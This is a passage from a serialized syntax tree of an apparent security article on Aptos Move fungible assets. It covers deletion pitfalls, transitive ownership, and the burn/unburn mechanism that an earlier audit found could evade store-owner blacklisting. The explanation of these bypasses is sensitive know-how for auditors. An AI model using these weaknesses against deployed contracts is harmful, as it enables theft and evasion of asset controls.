move_to",{"type":23,"tag":314,"props":62351,"children":62352},{"style":338},[62353],{"type":28,"value":341},{"type":23,"tag":314,"props":62355,"children":62356},{"style":360},[62357],{"type":28,"value":62358},"metadata_object_signer",{"type":23,"tag":314,"props":62360,"children":62361},{"style":338},[62362],{"type":28,"value":1870},{"type":23,"tag":314,"props":62364,"children":62365},{"class":316,"line":1208},[62366,62371],{"type":23,"tag":314,"props":62367,"children":62368},{"style":2674},[62369],{"type":28,"value":62370}," Metadata",{"type":23,"tag":314,"props":62372,"children":62373},{"style":338},[62374],{"type":28,"value":1449},{"type":23,"tag":314,"props":62376,"children":62377},{"class":316,"line":1216},[62378,62383],{"type":23,"tag":314,"props":62379,"children":62380},{"style":360},[62381],{"type":28,"value":62382}," name",{"type":23,"tag":314,"props":62384,"children":62385},{"style":338},[62386],{"type":28,"value":1870},{"type":23,"tag":314,"props":62388,"children":62389},{"class":316,"line":1301},[62390,62395],{"type":23,"tag":314,"props":62391,"children":62392},{"style":360},[62393],{"type":28,"value":62394}," symbol",{"type":23,"tag":314,"props":62396,"children":62397},{"style":338},[62398],{"type":28,"value":1870},{"type":23,"tag":314,"props":62400,"children":62401},{"class":316,"line":1343},[62402,62407],{"type":23,"tag":314,"props":62403,"children":62404},{"style":360},[62405],{"type":28,"value":62406}," decimals",{"type":23,"tag":314,"props":62408,"children":62409},{"style":338},[62410],{"type":28,"value":1870},{"type":23,"tag":314,"props":62412,"children":62413},{"class":316,"line":1351},[62414,62419],{"type":23,"tag":314,"props":62415,"children":62416},{"style":360},[62417],{"type":28,"value":62418}," icon_uri",{"type":23,"tag":314,"props":62420,"children":62421},{"style":338},[62422],{"type":28,"value":1870},{"type":23,"tag":314,"props":62424,"children":62425},{"class":316,"line":1387},[62426,62431],{"type":23,"tag":314,"props":62427,"children":62428},{"style":360},[62429],{"type":28,"value":62430}," project_uri",{"type":23,"tag":314,"props":62432,"children":62433},{"style":338},[62434],{"type":28,"value":1870},{"type":23,"tag":314,"props":62436,"children":62437},{"class":316,"line":1422},[62438],{"type":23,"tag":314,"props":62439,"children":62440},{"style":338},[62441],{"type":28,"value":2602},{"type":23,"tag":314,"props":62443,"children":62444},{"class":316,"line":1430},[62445],{"type":23,"tag":314,"props":62446,"children":62447},{"style":338},[62448],{"type":28,"value":42907},{"type":23,"tag":314,"props":62450,"children":62451},{"class":316,"line":1452},[62452,62456,62460],{"type":23,"tag":314,"props":62453,"children":62454},{"style":338},[62455],{"type":28,"value":1312},{"type":23,"tag":314,"props":62457,"children":62458},{"style":354},[62459],{"type":28,"value":8840},{"type":23,"tag":314,"props":62461,"children":62462},{"style":338},[62463],{"type":28,"value":11020},{"type":23,"tag":314,"props":62465,"children":62466},{"class":316,"line":1497},[62467],{"type":23,"tag":314,"props":62468,"children":62469},{"style":338},[62470],{"type":28,"value":386},{"type":23,"tag":18031,"props":62472,"children":62473},{},[],{"type":23,"tag":24,"props":62475,"children":62476},{},[62477,62479,62484,62486,62491],{"type":28,"value":62478},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":94,"props":62480,"children":62482},{"className":62481},[],[62483],{"type":28,"value":61328},{"type":28,"value":62485}," is also an object, and a \"secondary\" ",{"type":23,"tag":94,"props":62487,"children":62489},{"className":62488},[],[62490],{"type":28,"value":61328},{"type":28,"value":62492}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":304,"props":62494,"children":62496},{"className":2234,"code":62495,"language":2233,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[62497],{"type":23,"tag":94,"props":62498,"children":62499},{"__ignoreMap":7},[62500,62508,62550,62557,62565],{"type":23,"tag":314,"props":62501,"children":62502},{"class":316,"line":317},[62503],{"type":23,"tag":314,"props":62504,"children":62505},{"style":374},[62506],{"type":28,"value":62507},"//Fungible asset\n",{"type":23,"tag":314,"props":62509,"children":62510},{"class":316,"line":370},[62511,62515,62519,62524,62528,62533,62537,62541,62546],{"type":23,"tag":314,"props":62512,"children":62513},{"style":360},[62514],{"type":28,"value":60927},{"type":23,"tag":314,"props":62516,"children":62517},{"style":360},[62518],{"type":28,"value":5462},{"type":23,"tag":314,"props":62520,"children":62521},{"style":332},[62522],{"type":28,"value":62523}," remove_store",{"type":23,"tag":314,"props":62525,"children":62526},{"style":338},[62527],{"type":28,"value":341},{"type":23,"tag":314,"props":62529,"children":62530},{"style":360},[62531],{"type":28,"value":62532},"delete_ref",{"type":23,"tag":314,"props":62534,"children":62535},{"style":354},[62536],{"type":28,"value":3746},{"type":23,"tag":314,"props":62538,"children":62539},{"style":354},[62540],{"type":28,"value":1968},{"type":23,"tag":314,"props":62542,"children":62543},{"style":2674},[62544],{"type":28,"value":62545},"DeleteRef",{"type":23,"tag":314,"props":62547,"children":62548},{"style":338},[62549],{"type":28,"value":2414},{"type":23,"tag":314,"props":62551,"children":62552},{"class":316,"line":380},[62553],{"type":23,"tag":314,"props":62554,"children":62555},{"emptyLinePlaceholder":18},[62556],{"type":28,"value":1088},{"type":23,"tag":314,"props":62558,"children":62559},{"class":316,"line":1091},[62560],{"type":23,"tag":314,"props":62561,"children":62562},{"style":374},[62563],{"type":28,"value":62564},"//Object\n",{"type":23,"tag":314,"props":62566,"children":62567},{"class":316,"line":1141},[62568,62572,62576,62581,62585,62590,62594,62599],{"type":23,"tag":314,"props":62569,"children":62570},{"style":360},[62571],{"type":28,"value":60927},{"type":23,"tag":314,"props":62573,"children":62574},{"style":360},[62575],{"type":28,"value":5462},{"type":23,"tag":314,"props":62577,"children":62578},{"style":332},[62579],{"type":28,"value":62580}," delete",{"type":23,"tag":314,"props":62582,"children":62583},{"style":338},[62584],{"type":28,"value":341},{"type":23,"tag":314,"props":62586,"children":62587},{"style":321},[62588],{"type":28,"value":62589},"ref",{"type":23,"tag":314,"props":62591,"children":62592},{"style":354},[62593],{"type":28,"value":3746},{"type":23,"tag":314,"props":62595,"children":62596},{"style":2674},[62597],{"type":28,"value":62598}," DeleteRef",{"type":23,"tag":314,"props":62600,"children":62601},{"style":338},[62602],{"type":28,"value":2414},{"type":23,"tag":24,"props":62604,"children":62605},{},[62606,62608,62614,62616,62621,62623,62628,62630,62635,62637,62643,62645,62651,62653,62658],{"type":28,"value":62607},"When ",{"type":23,"tag":94,"props":62609,"children":62611},{"className":62610},[],[62612],{"type":28,"value":62613},"object::delete",{"type":28,"value":62615}," removes the ",{"type":23,"tag":94,"props":62617,"children":62619},{"className":62618},[],[62620],{"type":28,"value":48101},{"type":28,"value":62622}," from a ",{"type":23,"tag":94,"props":62624,"children":62626},{"className":62625},[],[62627],{"type":28,"value":61328},{"type":28,"value":62629}," object, the ",{"type":23,"tag":94,"props":62631,"children":62633},{"className":62632},[],[62634],{"type":28,"value":61328},{"type":28,"value":62636}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":94,"props":62638,"children":62640},{"className":62639},[],[62641],{"type":28,"value":62642},"remove_store",{"type":28,"value":62644}," can't create an ",{"type":23,"tag":94,"props":62646,"children":62648},{"className":62647},[],[62649],{"type":28,"value":62650},"Object\u003CFungibleStore>",{"type":28,"value":62652}," without an ",{"type":23,"tag":94,"props":62654,"children":62656},{"className":62655},[],[62657],{"type":28,"value":48101},{"type":28,"value":62659}," underneath, causing the operation to fail.",{"type":23,"tag":304,"props":62661,"children":62663},{"className":2234,"code":62662,"language":2233,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[62664],{"type":23,"tag":94,"props":62665,"children":62666},{"__ignoreMap":7},[62667,62722,62774,62789],{"type":23,"tag":314,"props":62668,"children":62669},{"class":316,"line":317},[62670,62674,62678,62682,62686,62690,62694,62698,62702,62706,62710,62714,62718],{"type":23,"tag":314,"props":62671,"children":62672},{"style":360},[62673],{"type":28,"value":60927},{"type":23,"tag":314,"props":62675,"children":62676},{"style":360},[62677],{"type":28,"value":5462},{"type":23,"tag":314,"props":62679,"children":62680},{"style":332},[62681],{"type":28,"value":62523},{"type":23,"tag":314,"props":62683,"children":62684},{"style":338},[62685],{"type":28,"value":341},{"type":23,"tag":314,"props":62687,"children":62688},{"style":360},[62689],{"type":28,"value":62532},{"type":23,"tag":314,"props":62691,"children":62692},{"style":354},[62693],{"type":28,"value":3746},{"type":23,"tag":314,"props":62695,"children":62696},{"style":354},[62697],{"type":28,"value":1968},{"type":23,"tag":314,"props":62699,"children":62700},{"style":2674},[62701],{"type":28,"value":62545},{"type":23,"tag":314,"props":62703,"children":62704},{"style":338},[62705],{"type":28,"value":2343},{"type":23,"tag":314,"props":62707,"children":62708},{"style":360},[62709],{"type":28,"value":5599},{"type":23,"tag":314,"props":62711,"children":62712},{"style":338},[62713],{"type":28,"value":22270},{"type":23,"tag":314,"props":62715,"children":62716},{"style":354},[62717],{"type":28,"value":8840},{"type":23,"tag":314,"props":62719,"children":62720},{"style":338},[62721],{"type":28,"value":61018},{"type":23,"tag":314,"props":62723,"children":62724},{"class":316,"line":370},[62725,62729,62733,62737,62741,62745,62749,62754,62758,62762,62766,62770],{"type":23,"tag":314,"props":62726,"children":62727},{"style":321},[62728],{"type":28,"value":2254},{"type":23,"tag":314,"props":62730,"children":62731},{"style":360},[62732],{"type":28,"value":5085},{"type":23,"tag":314,"props":62734,"children":62735},{"style":354},[62736],{"type":28,"value":1237},{"type":23,"tag":314,"props":62738,"children":62739},{"style":354},[62740],{"type":28,"value":1968},{"type":23,"tag":314,"props":62742,"children":62743},{"style":338},[62744],{"type":28,"value":62162},{"type":23,"tag":314,"props":62746,"children":62747},{"style":354},[62748],{"type":28,"value":2737},{"type":23,"tag":314,"props":62750,"children":62751},{"style":360},[62752],{"type":28,"value":62753},"object_from_delete_ref",{"type":23,"tag":314,"props":62755,"children":62756},{"style":338},[62757],{"type":28,"value":5060},{"type":23,"tag":314,"props":62759,"children":62760},{"style":2674},[62761],{"type":28,"value":61328},{"type":23,"tag":314,"props":62763,"children":62764},{"style":338},[62765],{"type":28,"value":6866},{"type":23,"tag":314,"props":62767,"children":62768},{"style":360},[62769],{"type":28,"value":62532},{"type":23,"tag":314,"props":62771,"children":62772},{"style":338},[62773],{"type":28,"value":1025},{"type":23,"tag":314,"props":62775,"children":62776},{"class":316,"line":380},[62777,62781,62785],{"type":23,"tag":314,"props":62778,"children":62779},{"style":338},[62780],{"type":28,"value":61970},{"type":23,"tag":314,"props":62782,"children":62783},{"style":354},[62784],{"type":28,"value":8840},{"type":23,"tag":314,"props":62786,"children":62787},{"style":338},[62788],{"type":28,"value":11020},{"type":23,"tag":314,"props":62790,"children":62791},{"class":316,"line":1091},[62792],{"type":23,"tag":314,"props":62793,"children":62794},{"style":338},[62795],{"type":28,"value":386},{"type":23,"tag":24,"props":62797,"children":62798},{},[62799,62801,62806,62808,62814,62816,62821],{"type":28,"value":62800},"In addition, such \"deleted\" ",{"type":23,"tag":94,"props":62802,"children":62804},{"className":62803},[],[62805],{"type":28,"value":61328},{"type":28,"value":62807}," objects remain at least partially operable. For instance, ",{"type":23,"tag":94,"props":62809,"children":62811},{"className":62810},[],[62812],{"type":28,"value":62813},"fungible_asset::deposit",{"type":28,"value":62815}," does not check the ",{"type":23,"tag":94,"props":62817,"children":62819},{"className":62818},[],[62820],{"type":28,"value":48101},{"type":28,"value":62822}," existence.",{"type":23,"tag":837,"props":62824,"children":62826},{"id":62825},"ownership",[62827],{"type":28,"value":62828},"Ownership",{"type":23,"tag":24,"props":62830,"children":62831},{},[62832,62834,62839,62841,62847,62849,62854],{"type":28,"value":62833},"Each object has an owner. Fungible assets rely on the ",{"type":23,"tag":94,"props":62835,"children":62837},{"className":62836},[],[62838],{"type":28,"value":48101},{"type":28,"value":62840}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":94,"props":62842,"children":62844},{"className":62843},[],[62845],{"type":28,"value":62846},"object::owns",{"type":28,"value":62848}," to confirm ownership of the ",{"type":23,"tag":94,"props":62850,"children":62852},{"className":62851},[],[62853],{"type":28,"value":61328},{"type":28,"value":49427},{"type":23,"tag":304,"props":62856,"children":62858},{"className":2234,"code":62857,"language":2233,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[62859],{"type":23,"tag":94,"props":62860,"children":62861},{"__ignoreMap":7},[62862,62910,62934,62961,62981,63009,63077,63092],{"type":23,"tag":314,"props":62863,"children":62864},{"class":316,"line":317},[62865,62869,62873,62877,62881,62885,62890,62894,62898,62902,62906],{"type":23,"tag":314,"props":62866,"children":62867},{"style":332},[62868],{"type":28,"value":60927},{"type":23,"tag":314,"props":62870,"children":62871},{"style":338},[62872],{"type":28,"value":341},{"type":23,"tag":314,"props":62874,"children":62875},{"style":360},[62876],{"type":28,"value":6354},{"type":23,"tag":314,"props":62878,"children":62879},{"style":338},[62880],{"type":28,"value":2343},{"type":23,"tag":314,"props":62882,"children":62883},{"style":360},[62884],{"type":28,"value":6363},{"type":23,"tag":314,"props":62886,"children":62887},{"style":360},[62888],{"type":28,"value":62889}," withdraw_sanity_check",{"type":23,"tag":314,"props":62891,"children":62892},{"style":338},[62893],{"type":28,"value":5060},{"type":23,"tag":314,"props":62895,"children":62896},{"style":2674},[62897],{"type":28,"value":5242},{"type":23,"tag":314,"props":62899,"children":62900},{"style":354},[62901],{"type":28,"value":3746},{"type":23,"tag":314,"props":62903,"children":62904},{"style":360},[62905],{"type":28,"value":5186},{"type":23,"tag":314,"props":62907,"children":62908},{"style":338},[62909],{"type":28,"value":5844},{"type":23,"tag":314,"props":62911,"children":62912},{"class":316,"line":370},[62913,62918,62922,62926,62930],{"type":23,"tag":314,"props":62914,"children":62915},{"style":360},[62916],{"type":28,"value":62917}," owner",{"type":23,"tag":314,"props":62919,"children":62920},{"style":354},[62921],{"type":28,"value":3746},{"type":23,"tag":314,"props":62923,"children":62924},{"style":354},[62925],{"type":28,"value":1968},{"type":23,"tag":314,"props":62927,"children":62928},{"style":360},[62929],{"type":28,"value":6401},{"type":23,"tag":314,"props":62931,"children":62932},{"style":338},[62933],{"type":28,"value":1870},{"type":23,"tag":314,"props":62935,"children":62936},{"class":316,"line":380},[62937,62941,62945,62949,62953,62957],{"type":23,"tag":314,"props":62938,"children":62939},{"style":360},[62940],{"type":28,"value":28662},{"type":23,"tag":314,"props":62942,"children":62943},{"style":354},[62944],{"type":28,"value":3746},{"type":23,"tag":314,"props":62946,"children":62947},{"style":2674},[62948],{"type":28,"value":60813},{"type":23,"tag":314,"props":62950,"children":62951},{"style":338},[62952],{"type":28,"value":5060},{"type":23,"tag":314,"props":62954,"children":62955},{"style":2674},[62956],{"type":28,"value":5242},{"type":23,"tag":314,"props":62958,"children":62959},{"style":338},[62960],{"type":28,"value":5393},{"type":23,"tag":314,"props":62962,"children":62963},{"class":316,"line":1091},[62964,62969,62973,62977],{"type":23,"tag":314,"props":62965,"children":62966},{"style":360},[62967],{"type":28,"value":62968}," abort_on_dispatch",{"type":23,"tag":314,"props":62970,"children":62971},{"style":354},[62972],{"type":28,"value":3746},{"type":23,"tag":314,"props":62974,"children":62975},{"style":2674},[62976],{"type":28,"value":11298},{"type":23,"tag":314,"props":62978,"children":62979},{"style":338},[62980],{"type":28,"value":1870},{"type":23,"tag":314,"props":62982,"children":62983},{"class":316,"line":1141},[62984,62988,62992,62996,63000,63005],{"type":23,"tag":314,"props":62985,"children":62986},{"style":338},[62987],{"type":28,"value":2343},{"type":23,"tag":314,"props":62989,"children":62990},{"style":360},[62991],{"type":28,"value":5599},{"type":23,"tag":314,"props":62993,"children":62994},{"style":2674},[62995],{"type":28,"value":61348},{"type":23,"tag":314,"props":62997,"children":62998},{"style":338},[62999],{"type":28,"value":778},{"type":23,"tag":314,"props":63001,"children":63002},{"style":2674},[63003],{"type":28,"value":63004},"DispatchFunctionStore",{"type":23,"tag":314,"props":63006,"children":63007},{"style":338},[63008],{"type":28,"value":1449},{"type":23,"tag":314,"props":63010,"children":63011},{"class":316,"line":1173},[63012,63016,63021,63025,63030,63034,63038,63042,63046,63050,63054,63058,63063,63067,63072],{"type":23,"tag":314,"props":63013,"children":63014},{"style":332},[63015],{"type":28,"value":61596},{"type":23,"tag":314,"props":63017,"children":63018},{"style":338},[63019],{"type":28,"value":63020},"(object",{"type":23,"tag":314,"props":63022,"children":63023},{"style":354},[63024],{"type":28,"value":2737},{"type":23,"tag":314,"props":63026,"children":63027},{"style":332},[63028],{"type":28,"value":63029},"owns",{"type":23,"tag":314,"props":63031,"children":63032},{"style":338},[63033],{"type":28,"value":341},{"type":23,"tag":314,"props":63035,"children":63036},{"style":360},[63037],{"type":28,"value":5195},{"type":23,"tag":314,"props":63039,"children":63040},{"style":338},[63041],{"type":28,"value":12184},{"type":23,"tag":314,"props":63043,"children":63044},{"style":354},[63045],{"type":28,"value":2737},{"type":23,"tag":314,"props":63047,"children":63048},{"style":332},[63049],{"type":28,"value":6464},{"type":23,"tag":314,"props":63051,"children":63052},{"style":338},[63053],{"type":28,"value":341},{"type":23,"tag":314,"props":63055,"children":63056},{"style":360},[63057],{"type":28,"value":14851},{"type":23,"tag":314,"props":63059,"children":63060},{"style":338},[63061],{"type":28,"value":63062},")), error",{"type":23,"tag":314,"props":63064,"children":63065},{"style":354},[63066],{"type":28,"value":2737},{"type":23,"tag":314,"props":63068,"children":63069},{"style":332},[63070],{"type":28,"value":63071},"permission_denied",{"type":23,"tag":314,"props":63073,"children":63074},{"style":338},[63075],{"type":28,"value":63076},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":314,"props":63078,"children":63079},{"class":316,"line":1208},[63080,63084,63088],{"type":23,"tag":314,"props":63081,"children":63082},{"style":338},[63083],{"type":28,"value":61970},{"type":23,"tag":314,"props":63085,"children":63086},{"style":354},[63087],{"type":28,"value":8840},{"type":23,"tag":314,"props":63089,"children":63090},{"style":338},[63091],{"type":28,"value":11020},{"type":23,"tag":314,"props":63093,"children":63094},{"class":316,"line":1216},[63095],{"type":23,"tag":314,"props":63096,"children":63097},{"style":338},[63098],{"type":28,"value":386},{"type":23,"tag":24,"props":63100,"children":63101},{},[63102,63104,63109,63111,63117,63119,63125],{"type":28,"value":63103},"The thing to note is that defining ownership with ",{"type":23,"tag":94,"props":63105,"children":63107},{"className":63106},[],[63108],{"type":28,"value":62846},{"type":28,"value":63110}," can be tricky. The ",{"type":23,"tag":94,"props":63112,"children":63114},{"className":63113},[],[63115],{"type":28,"value":63116},"burn",{"type":28,"value":63118}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":94,"props":63120,"children":63122},{"className":63121},[],[63123],{"type":28,"value":63124},"BURN_ADDRESS",{"type":28,"value":63126}," while bypassing transfer restrictions:",{"type":23,"tag":304,"props":63128,"children":63130},{"className":2234,"code":63129,"language":2233,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[63131],{"type":23,"tag":94,"props":63132,"children":63133},{"__ignoreMap":7},[63134,63231,63272,63322,63351,63401,63422],{"type":23,"tag":314,"props":63135,"children":63136},{"class":316,"line":317},[63137,63141,63145,63149,63154,63158,63162,63166,63170,63174,63178,63182,63186,63190,63194,63198,63202,63206,63210,63214,63218,63222,63227],{"type":23,"tag":314,"props":63138,"children":63139},{"style":360},[63140],{"type":28,"value":60927},{"type":23,"tag":314,"props":63142,"children":63143},{"style":360},[63144],{"type":28,"value":61894},{"type":23,"tag":314,"props":63146,"children":63147},{"style":360},[63148],{"type":28,"value":5462},{"type":23,"tag":314,"props":63150,"children":63151},{"style":360},[63152],{"type":28,"value":63153}," burn",{"type":23,"tag":314,"props":63155,"children":63156},{"style":338},[63157],{"type":28,"value":5060},{"type":23,"tag":314,"props":63159,"children":63160},{"style":2674},[63161],{"type":28,"value":5242},{"type":23,"tag":314,"props":63163,"children":63164},{"style":354},[63165],{"type":28,"value":3746},{"type":23,"tag":314,"props":63167,"children":63168},{"style":360},[63169],{"type":28,"value":5186},{"type":23,"tag":314,"props":63171,"children":63172},{"style":338},[63173],{"type":28,"value":6866},{"type":23,"tag":314,"props":63175,"children":63176},{"style":360},[63177],{"type":28,"value":14851},{"type":23,"tag":314,"props":63179,"children":63180},{"style":354},[63181],{"type":28,"value":3746},{"type":23,"tag":314,"props":63183,"children":63184},{"style":354},[63185],{"type":28,"value":1968},{"type":23,"tag":314,"props":63187,"children":63188},{"style":360},[63189],{"type":28,"value":6401},{"type":23,"tag":314,"props":63191,"children":63192},{"style":338},[63193],{"type":28,"value":778},{"type":23,"tag":314,"props":63195,"children":63196},{"style":360},[63197],{"type":28,"value":62162},{"type":23,"tag":314,"props":63199,"children":63200},{"style":354},[63201],{"type":28,"value":3746},{"type":23,"tag":314,"props":63203,"children":63204},{"style":2674},[63205],{"type":28,"value":60813},{"type":23,"tag":314,"props":63207,"children":63208},{"style":338},[63209],{"type":28,"value":5060},{"type":23,"tag":314,"props":63211,"children":63212},{"style":2674},[63213],{"type":28,"value":5242},{"type":23,"tag":314,"props":63215,"children":63216},{"style":338},[63217],{"type":28,"value":19684},{"type":23,"tag":314,"props":63219,"children":63220},{"style":360},[63221],{"type":28,"value":5599},{"type":23,"tag":314,"props":63223,"children":63224},{"style":2674},[63225],{"type":28,"value":63226}," ObjectCore",{"type":23,"tag":314,"props":63228,"children":63229},{"style":338},[63230],{"type":28,"value":1449},{"type":23,"tag":314,"props":63232,"children":63233},{"class":316,"line":370},[63234,63238,63243,63247,63252,63256,63260,63264,63268],{"type":23,"tag":314,"props":63235,"children":63236},{"style":321},[63237],{"type":28,"value":2254},{"type":23,"tag":314,"props":63239,"children":63240},{"style":360},[63241],{"type":28,"value":63242}," original_owner",{"type":23,"tag":314,"props":63244,"children":63245},{"style":354},[63246],{"type":28,"value":1237},{"type":23,"tag":314,"props":63248,"children":63249},{"style":338},[63250],{"type":28,"value":63251}," signer",{"type":23,"tag":314,"props":63253,"children":63254},{"style":354},[63255],{"type":28,"value":2737},{"type":23,"tag":314,"props":63257,"children":63258},{"style":332},[63259],{"type":28,"value":6464},{"type":23,"tag":314,"props":63261,"children":63262},{"style":338},[63263],{"type":28,"value":341},{"type":23,"tag":314,"props":63265,"children":63266},{"style":360},[63267],{"type":28,"value":14851},{"type":23,"tag":314,"props":63269,"children":63270},{"style":338},[63271],{"type":28,"value":1025},{"type":23,"tag":314,"props":63273,"children":63274},{"class":316,"line":380},[63275,63279,63283,63288,63292,63296,63300,63305,63309,63313,63317],{"type":23,"tag":314,"props":63276,"children":63277},{"style":332},[63278],{"type":28,"value":61596},{"type":23,"tag":314,"props":63280,"children":63281},{"style":338},[63282],{"type":28,"value":341},{"type":23,"tag":314,"props":63284,"children":63285},{"style":332},[63286],{"type":28,"value":63287},"is_owner",{"type":23,"tag":314,"props":63289,"children":63290},{"style":338},[63291],{"type":28,"value":341},{"type":23,"tag":314,"props":63293,"children":63294},{"style":360},[63295],{"type":28,"value":62162},{"type":23,"tag":314,"props":63297,"children":63298},{"style":338},[63299],{"type":28,"value":778},{"type":23,"tag":314,"props":63301,"children":63302},{"style":360},[63303],{"type":28,"value":63304},"original_owner",{"type":23,"tag":314,"props":63306,"children":63307},{"style":338},[63308],{"type":28,"value":62185},{"type":23,"tag":314,"props":63310,"children":63311},{"style":354},[63312],{"type":28,"value":2737},{"type":23,"tag":314,"props":63314,"children":63315},{"style":332},[63316],{"type":28,"value":63071},{"type":23,"tag":314,"props":63318,"children":63319},{"style":338},[63320],{"type":28,"value":63321},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":314,"props":63323,"children":63324},{"class":316,"line":1091},[63325,63329,63334,63338,63342,63346],{"type":23,"tag":314,"props":63326,"children":63327},{"style":321},[63328],{"type":28,"value":2254},{"type":23,"tag":314,"props":63330,"children":63331},{"style":360},[63332],{"type":28,"value":63333}," object_addr",{"type":23,"tag":314,"props":63335,"children":63336},{"style":354},[63337],{"type":28,"value":1237},{"type":23,"tag":314,"props":63339,"children":63340},{"style":360},[63341],{"type":28,"value":61746},{"type":23,"tag":314,"props":63343,"children":63344},{"style":354},[63345],{"type":28,"value":282},{"type":23,"tag":314,"props":63347,"children":63348},{"style":338},[63349],{"type":28,"value":63350},"inner;\n",{"type":23,"tag":314,"props":63352,"children":63353},{"class":316,"line":1141},[63354,63358,63362,63366,63371,63375,63380,63384,63389,63393,63397],{"type":23,"tag":314,"props":63355,"children":63356},{"style":332},[63357],{"type":28,"value":62349},{"type":23,"tag":314,"props":63359,"children":63360},{"style":338},[63361],{"type":28,"value":341},{"type":23,"tag":314,"props":63363,"children":63364},{"style":354},[63365],{"type":28,"value":1833},{"type":23,"tag":314,"props":63367,"children":63368},{"style":332},[63369],{"type":28,"value":63370},"create_signer",{"type":23,"tag":314,"props":63372,"children":63373},{"style":338},[63374],{"type":28,"value":341},{"type":23,"tag":314,"props":63376,"children":63377},{"style":360},[63378],{"type":28,"value":63379},"object_addr",{"type":23,"tag":314,"props":63381,"children":63382},{"style":338},[63383],{"type":28,"value":14419},{"type":23,"tag":314,"props":63385,"children":63386},{"style":2674},[63387],{"type":28,"value":63388},"TombStone",{"type":23,"tag":314,"props":63390,"children":63391},{"style":338},[63392],{"type":28,"value":1242},{"type":23,"tag":314,"props":63394,"children":63395},{"style":360},[63396],{"type":28,"value":63304},{"type":23,"tag":314,"props":63398,"children":63399},{"style":338},[63400],{"type":28,"value":38082},{"type":23,"tag":314,"props":63402,"children":63403},{"class":316,"line":1173},[63404,63409,63413,63417],{"type":23,"tag":314,"props":63405,"children":63406},{"style":332},[63407],{"type":28,"value":63408}," transfer_raw_inner",{"type":23,"tag":314,"props":63410,"children":63411},{"style":338},[63412],{"type":28,"value":341},{"type":23,"tag":314,"props":63414,"children":63415},{"style":360},[63416],{"type":28,"value":63379},{"type":23,"tag":314,"props":63418,"children":63419},{"style":338},[63420],{"type":28,"value":63421},", BURN_ADDRESS);\n",{"type":23,"tag":314,"props":63423,"children":63424},{"class":316,"line":1208},[63425],{"type":23,"tag":314,"props":63426,"children":63427},{"style":338},[63428],{"type":28,"value":386},{"type":23,"tag":24,"props":63430,"children":63431},{},[63432,63438,63440,63445,63446,63453,63455,63460],{"type":23,"tag":94,"props":63433,"children":63435},{"className":63434},[],[63436],{"type":28,"value":63437},"unburn",{"type":28,"value":63439}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":94,"props":63441,"children":63443},{"className":63442},[],[63444],{"type":28,"value":63124},{"type":28,"value":17770},{"type":23,"tag":31,"props":63447,"children":63450},{"href":63448,"rel":63449},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[35],[63451],{"type":28,"value":63452},"AIP-99",{"type":28,"value":63454}," is a proposal to roll back the ",{"type":23,"tag":94,"props":63456,"children":63458},{"className":63457},[],[63459],{"type":28,"value":63116},{"type":28,"value":63461}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":2186,"props":63463,"children":63464},{},[63465],{"type":23,"tag":24,"props":63466,"children":63467},{},[63468,63470,63474],{"type":28,"value":63469},"This ",{"type":23,"tag":314,"props":63471,"children":63472},{},[63473],{"type":28,"value":63452},{"type":28,"value":63475}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":24,"props":63477,"children":63478},{},[63479,63481,63487,63489,63494,63496,63501],{"type":28,"value":63480},"Another important thing is that ",{"type":23,"tag":94,"props":63482,"children":63484},{"className":63483},[],[63485],{"type":28,"value":63486},"fungible_asset::set_untransferable",{"type":28,"value":63488}," can be used to make all new ",{"type":23,"tag":94,"props":63490,"children":63492},{"className":63491},[],[63493],{"type":28,"value":61832},{"type":28,"value":63495}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":94,"props":63497,"children":63499},{"className":63498},[],[63500],{"type":28,"value":61328},{"type":28,"value":282},{"type":23,"tag":24,"props":63503,"children":63504},{},[63505,63507,63512,63514,63520,63522,63527,63529,63534],{"type":28,"value":63506},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":94,"props":63508,"children":63510},{"className":63509},[],[63511],{"type":28,"value":61328},{"type":28,"value":63513},", X can withdraw from that store. This is because ",{"type":23,"tag":94,"props":63515,"children":63517},{"className":63516},[],[63518],{"type":28,"value":63519},"fungible_asset::withdraw",{"type":28,"value":63521}," uses ",{"type":23,"tag":94,"props":63523,"children":63525},{"className":63524},[],[63526],{"type":28,"value":62846},{"type":28,"value":63528}," to verify both direct and indirect ownership of the ",{"type":23,"tag":94,"props":63530,"children":63532},{"className":63531},[],[63533],{"type":28,"value":61328},{"type":28,"value":49427},{"type":23,"tag":304,"props":63536,"children":63538},{"className":2234,"code":63537,"language":2233,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n 